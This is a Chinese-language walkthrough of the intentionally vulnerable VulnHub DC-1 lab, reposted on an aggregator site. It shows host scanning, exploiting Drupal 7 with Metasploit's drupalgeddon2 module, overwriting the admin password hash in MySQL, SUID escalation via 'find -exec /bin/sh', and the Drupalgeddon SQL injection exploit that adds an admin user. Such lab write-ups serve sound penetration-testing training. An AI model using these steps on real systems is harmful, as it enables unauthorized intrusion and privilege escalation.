DC1靶场练习

news/2024/10/6 22:19:48

DC1

下载地址:

https://download.vulnhub.com/dc/DC-1.zip

题目要求:

DC-1 is a purposely built vulnerable lab for the purpose of gaining experience in the world of penetration testing.

It was designed to be a challenge for beginners, but just how easy it is will depend on your skills and knowledge, and your ability to learn.

To successfully complete this challenge, you will require Linux skills, familiarity with the Linux command line and experience with basic penetration testing tools, such as the tools that can be found on Kali Linux, or Parrot Security OS.

There are multiple ways of gaining root, however, I have included some flags which contain clues for beginners.

There are five flags in total, but the ultimate goal is to find and read the flag in root's home directory. You don't even need to be root to do this, however, you will require root privileges.

Depending on your skill level, you may be able to skip finding most of these flags and go straight for root.

Beginners may encounter challenges that they have never come across previously, but a Google search should be all that is required to obtain the information required to complete this challenge.

信息收集

1.1 arp-scan -l

image

1.2 ifconfig

image

1.3 nmap -p- -sV 192.168.126.130

发现rpcbind

111端口rpcbind服务 可以利用udp反射进行ddos攻击

image

1.4 whatweb

渗透

2.1 发现drupal 7

2.2 进入msf

2.3 search drupal

2.3 尝试到unix/webapp/drupal_drupalgeddon2远程命令执行漏洞

use 1

show options

set rhost 192.168.126.130

run

getshell成功

sysinfo(help查看可用命令)

ls

2.4 发现flag1.txt

cat flag1.txt

数据库

3.1 提示drupal网站配置文件有东西

3.2 发现数据库

3.3 切换到主机的cmd中

shell

或者

shell

获取完全交互式终端

python -c 'import pty;pty.spawn("/bin/bash")'

script /dev/null

3.4 mysql -udbuser -p

R0ck3t

show databases;

use drupaldb;

show tables;

select * from users;

(退出exit

3.5 由前面查看网站配置文件时发现加盐MD5

所以该hash无法爆破

另辟蹊径

3.6 密码重置

find / -name "password-hash.sh"

php /var/www/scripts/password-hash.sh 123

复制加salt之后的md5

$S$DRg21kugCL0AGQqr1G90hPfO.XkoCuhFqYU.HZfT8me7BiSMlYPT

image

再次进入mysql中

update users set pass="$S$DMHrgiAJFOw9uyksr.7CaAWWS1eMIGnGmCCjFFZrNdaDIg4dcw8B" where uid=1;

image

4.1 登录后台

http://192.168.126.130

左上角的context

4.2 找到flag3

image

image

根据提示

cat /etc/passwd

cat /home/flag4.txt

4.3找到flag4

image

提权

5.1 根据flag4提示提权

linux提权之suid提权

5.2 查找具有suid的命令

find / -perm -u=s -type f 2>/dev/null

find本身就有suid

image

5.3 find提权

find /usr/bin/find -exec "/bin/sh" \;

image

cd /root

cat thefinalflag.txt

5.4 找到最后一个flag

image

排漏

3.7 CVE-2014-3704-Drupal 7.0 < 7.31 - 'Drupalgeddon' SQL Injection (Add Admin User)

3.8 searchsploit Drupal

发现Drupal 7 有一个admin用户添加漏洞

image

3.9 定位

locate php/webapps/34992.py

3.10 复制到桌面

cp /usr/share/exploitdb/exploits/php/webapps/34992.py ./

3.11 查看用法

cat 34992.py

image

3.12 添加test/test成功

image

3.13 登录后台

image

3.14 也是可以看到flag3

image

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.ryyt.cn/news/28404.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈,一经查实,立即删除!

相关文章

实验三junit单元测试

石 家 庄 铁 道 大 学 实 验 报 告实验项目名称:实验三 单元测试预习 一、 实验目的完成eclipse、java的jdk及junit的安装。 Junit的基本使用 Junit测试框架搭建二、 实验内容 1. (1)安装Jdk (2)安装Eclipse (3)安装Junit 2. (1)使用Eclipse创建工程 (2) 利…

解决excel打开.csv文件乱码问题

解决excel打开.csv文件乱码问题 今天打开用Excel打开一个后缀为.csv的文件,出现乱码,然后用Emeditor转化文件格式为Utf-8,再用excel打开还是乱码,然后就有了以下步骤 在Excel里面,点击 数据 => 从文本/CSV => 然后找到那个乱码.csv的文件,将其导入即可第二次我把制…

GitHub搭建免费博客

一、GitHub仓库准备 ​ 搭建博客需要准备两个仓库。一个存放博客图床的仓库,另一个存放博客网站的仓库。 1.1、图床创建新建仓库 第一步:​ 第二步:生成Token令牌点击右上角头像->Settings->下拉,直到左侧到底,选择Developer settings(开发人员设置)->Personal…

一键关闭 Win11 系统广告「GitHub 热点速览」

不知道读者中有多少人早已对 Windows 11 系统自带的广告感到厌烦,却又不知道如何关闭它们?虽然网上有详细的关闭教程,但是都需要逐一手动操作,不是很方便。所以,今天「GitHub 热点速览」给大家带来了一款能够轻松关闭 Windows 11 系统广告的工具「OFGB」,它开箱即用、界面…

OKR-Periods of Words(洛谷P3435 [POI2006] OKR-Periods of Words)

OKR-Periods of Words 题目描述输入格式输出格式样例 样例输入 8 babababa 样例输出 24 1. 题目到底要让我们求什么:(首先这是一道kmp的题)这是每个位置kmp的数值,代表它的border(真前缀和后缀)这是由题意得出的每个位置的最长周期(还没什么头绪)结合这张图来看:黑色字…

修改PHPExcel兼容php7.4

https://blog.csdn.net/u012931845/article/details/133899174 翻译 搜索 复制

高校运维赛WEB部分-gxngxngxn

高校运维赛WEB部分-gxngxngxn phpsql 利用万能密码登录 admin/""="a=a 登录进后台后得到flagpyssrf 访问/source可以得到源码 from flask import Flask,request from redis import Redis import hashlib import pickle import base64 import urllib app = Flask…

大营销抽奖系统,DDD开发要如何建模?

作者:小傅哥 博客:https://bugstack.cn沉淀、分享、成长,让自己和他人都能有所收获!😄大家好,我是技术UP主小傅哥。 👨🏻‍💻 经过5.1假期的一顿框框输出,终于完成了《大营销项目》第二阶段的开发和上线,体验地址:https://gaga.plus 有了这个项目的落地,也终于…